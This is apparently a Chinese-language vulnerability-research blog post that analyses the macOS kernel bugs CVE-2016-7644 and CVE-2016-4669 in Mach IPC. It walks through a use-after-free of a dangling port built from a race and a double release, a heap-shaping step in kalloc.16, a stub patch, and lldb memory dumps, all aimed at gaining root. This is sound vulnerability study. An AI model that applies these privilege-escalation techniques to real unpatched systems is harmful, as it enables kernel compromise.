作者:mrh
本文是第三篇基于漏洞分析来学习Mach IPC的方面知识的记录。
阅读顺序如下。
1.再看CVE-2016-1757—浅析mach message的使用
3.从CVE-2016-7644回到CVE-2016-4669(本文)
CVE-2016-7644这个漏洞,本身是一个很简单的漏洞,但是通过一些技巧,可以做一些更有意思的事情。
poc与writeup在这里。
CVE-2016-4669的POC,之前我已经分析过了,详见CVE-2016-4669分析与调试。在做完这一系列的IPC相关的漏洞研究与学习之后,尝试的对CVE-2016-4669这个漏洞实现一个提权的利用。
并不能稳定触发,不过也加深了对内核的内存布局与IPC模块的理解。代码在这里。
漏洞的成因并不复杂,当两个线程同时调用时,ipc_port_release_send函数可能会被调用两次。
kern_return_t
set_dp_control_port(
host_priv_t host_priv,
ipc_port_t control_port)
{
if (host_priv == HOST_PRIV_NULL)
return (KERN_INVALID_HOST);
if (IP_VALID(dynamic_pager_control_port))
ipc_port_release_send(dynamic_pager_control_port); <--竞争发生的地方
dynamic_pager_control_port = control_port;
return KERN_SUCCESS;
}
在ipc_port_release_send函数内会修改port的一些属性,因为两个线程同时调用,触发了并发的漏洞,导致了bug的发生。
void
ipc_port_release_send(
ipc_port_t port)
{
ipc_port_t nsrequest = IP_NULL;
mach_port_mscount_t mscount;
if (!IP_VALID(port))
return;
ip_lock(port);
assert(port->ip_srights > 0); <--线程[2] ip_srights == 0,触发assert,导致内核崩溃
port->ip_srights--;
[...]
ip_unlock(port); <--线程[1] ip_srights已经变为0,且port锁已经释放
[...]
}
POC 代码编译成功之后,利用shell循环执行就可以触发内核崩溃,因为是并发的漏洞,所以需要尝试的次数比较多,手动执行可能很难触发。
通过阅读mach_portal_redist项目的kernel_sploit.c文件,漏洞的利用总共分为以下几个部分。
port的野指针UAF获取kernel port想要完全理解这几个部分,就需要了解更多的IPC相关的知识。
通过漏洞获取一个指向port的野指针,流程大致如下。
//申请port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
//在ipc系统中隐藏一个port的reference
stash_port (p) ;
//dynamic_pager_control_port获取一个port的reference
set_dp_control_port(host_priv, p) ;
// [1] 准备阶段结束
//释放task对port的send right
mach_port_deallocate (p);
//触发漏洞
race();
//释放stash_port
free_stashed_ports();
// [2] 获取port的野指针
当代码执行到[1]处时,做好了所有触发漏洞前的准备。我们的port拥有3对right和reference。
通过mach_port_allocate函数的执行,task拥有port的一份right和reference。
通过set_dp_control_port函数的执行,dynamic_pager_control_port拥有port的一份right和reference。
这两个部分比较容易理解,stash_port的原理较为复杂,利用了IPC系统通过mach message传递消息时的特性。
在通过message传递一个port right时的流程大致如下。
/*
ipc_kmsg_copyin_body
|
|----> ipc_kmsg_copyin_ool_ports_descriptor
|
|-----> ipc_object_copyin
|
|----> ipc_right_copyin
*/
kern_return_t
ipc_right_copyin(
{
[...]
case MACH_MSG_TYPE_MAKE_SEND: {
if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
goto invalid_right;
port = (ipc_port_t) entry->ie_object;
assert(port != IP_NULL);
ip_lock(port);
assert(ip_active(port));
assert(port->ip_receiver_name == name);
assert(port->ip_receiver == space);
port->ip_mscount++;
port->ip_srights++; //通过发送数据,但是不从port中读取出来,使得right和reference都加1
ip_reference(port);
ip_unlock(port);
*objectp = (ipc_object_t) port;
*sorightp = IP_NULL;
break;
}
[...]
}
当代码通过IPC系统发送一个port right时,port的right和reference都会加1,而在读取消息时,会把right和reference减1,所以在未调用free_stashed_ports读取出message之前,就在IPC系统中存放了一份port的引用。
调用mach_port_deallocate函数可以释放目标port的一个RIGHT。我们的port的reference为3,sright是2。
race就是利用了set_dp_control_port函数的漏洞,在并发执行的时,会导致对dynamic_pager_control_port连续两次调用ipc_port_release_send函数。
ipc_port_release_send每执行一次,会对目标port的sright和reference做出一次减一的操作。这个时候我们的port的reference变成了1,而sright变成了0,以为没有sendright存在了,所以会产生一个notify,通过这个土整,我们就可以知道成功的发出了条件竞争的漏洞了。
在stashed_ports_q的消息队列中还保存着我们传递的port,只需要对stashed_ports_q调用mach_port_destroy,因为传递的port的reference已经是1了,在处理这个逻辑之后,port在内核中就已经被释放了,而我们的task中还保存了一个dangling的port。
/*
mach_port_destroy
|
|--->ipc_right_destroy
|
|--->ipc_port_destroy
|
|--->ipc_mqueue_destroy
|
|--->ipc_kmsg_reap_delayed
|
|--->ipc_kmsg_clean_body
*/
调用栈大致如上所示,最核心的逻辑在ipc_kmsg_clean_body函数里实现。
对CVE-2016-4669的POC和漏洞成因的分析在这里。
没有了解过这个漏洞的同学可以先了解一下。
经过对IPC模块一系列的漏洞的分析与学习,我尝试着对之前分析过的CVE-2016-4669这个漏洞写一写利用。
思路大致如下:
port调用ipc_port_release_send。创造dangling port。port,获得root权限。在正常的情况下,kalloc.16的某个Page中的内存布局如下图所示(更多关于内存布局的只是可以查看这里):
kalloc.16这个zone中free element。element,且16个字节都使用到了。element,但是只用前面八个字节,所有后面8个字节是0xdeadbeefdeadbeef。因为漏洞会越界访问,对下个element中的地址调用ipc_port_release_send,所以通过向一个很多的stash port,发送同一个target port的right,在发送完成后再释放其中一部分得stash port,在kalloc.16的zone中制造触发漏漏洞的时候使用的free element。
在构造完成后大致如下:
这里要把patch的参数个数从1改成2。
#if UseStaticTemplates
InP->init_port_set = init_port_setTemplate;
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else /* UseStaticTemplates */
InP->init_port_set.address = (void *)(init_port_set);
InP->init_port_set.count = 2;//1; // was init_port_setCnt;
出发漏洞后,就可以看到内存布局。
简单的调试流程如下:
先找到mach_ports_register函数第一次调用ipc_port_release_send的地方,并下一个断点。
0xffffff800b0e22aa <+506>: call 0xffffff800b1c1bd0 ; lck_mtx_unlock
0xffffff800b0e22af <+511>: lea rax, [r15 + 0x1]
0xffffff800b0e22b3 <+515>: cmp rax, 0x2
0xffffff800b0e22b7 <+519>: jb 0xffffff800b0e22c1 ; <+529> at ipc_tt.c:1096
0xffffff800b0e22b9 <+521>: mov rdi, r15
0xffffff800b0e22bc <+524>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22c1 <+529>: lea rax, [r13 + 0x1]
0xffffff800b0e22c5 <+533>: cmp rax, 0x2
0xffffff800b0e22c9 <+537>: jb 0xffffff800b0e22d3 ; <+547> at ipc_tt.c:1096
0xffffff800b0e22cb <+539>: mov rdi, r13
0xffffff800b0e22ce <+542>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
0xffffff800b0e22d3 <+547>: lea rax, [rbx + 0x1]
0xffffff800b0e22d7 <+551>: cmp rax, 0x2
0xffffff800b0e22db <+555>: jb 0xffffff800b0e22e5 ; <+565> at ipc_tt.c:1097
0xffffff800b0e22dd <+557>: mov rdi, rbx
0xffffff800b0e22e0 <+560>: call 0xffffff800b0c98f0 ; ipc_port_release_send at ipc_port.c:1560
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc</span>
然后执行exp程序,一般情况下是第二次命中断点时,portsCnt=3(第一次命中时portsCnt=1并不是我们的代码触发的,可以不管)。内存布局如下:
(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000</span>
接着,mach_ports_register的逻辑就会越界将0xffffff80115cfa00处的0xffffff8013dee0e0拷到task->itk_registered中去。
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
ipc_port_t old;
old = task->itk_registered[i];
task->itk_registered[i] = ports[i];
ports[i] = old;
}
通过lldb查看ports的状态。
p *(ipc_port_t)0xffffff8013dee0e0
(ipc_port) $12 = {
ip_object = {
io_bits = 2147483648
io_references = 4057
io_lock_data = (interlock = 0x0000000000000000)
}
[...]
ip_srights = 4056
}
在第二次调用到mach_ports_register的时候,会对他们调用ipc_port_release_send。
//第二次调用mach_ports_register函数时,ports中的数据变成了刚刚存储的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++)
if (IP_VALID(ports[i]))
ipc_port_release_send(ports[i]);
这个时候再观察port在内核中的状态,机会发现ip_srights和io_references都做了一次减一。
这个时候在释放掉所有的stashed port就将我们的target port 释放掉了。因为通过触发bug多释放了一次。
stashed port创造了4096个reference,释放掉所有的stashed port就对reference做了4096次减一,通过触发bug 又多做了一次release,释放了一开始mach_port_allocate创建的reference。srights与reference相同。这一步在我的EXP里就是看脸了,成功率并不是很高,没有找到稳定的利用方法。就不多说什么了,从别的EXP里抄来的代码。
到这里整个MACH-IPC相关的漏洞分析与学习就暂时告一段落了。
这篇分析日志,断断续续写了很久,可能思路有点不连贯,有什么问题欢迎大家一起探讨:)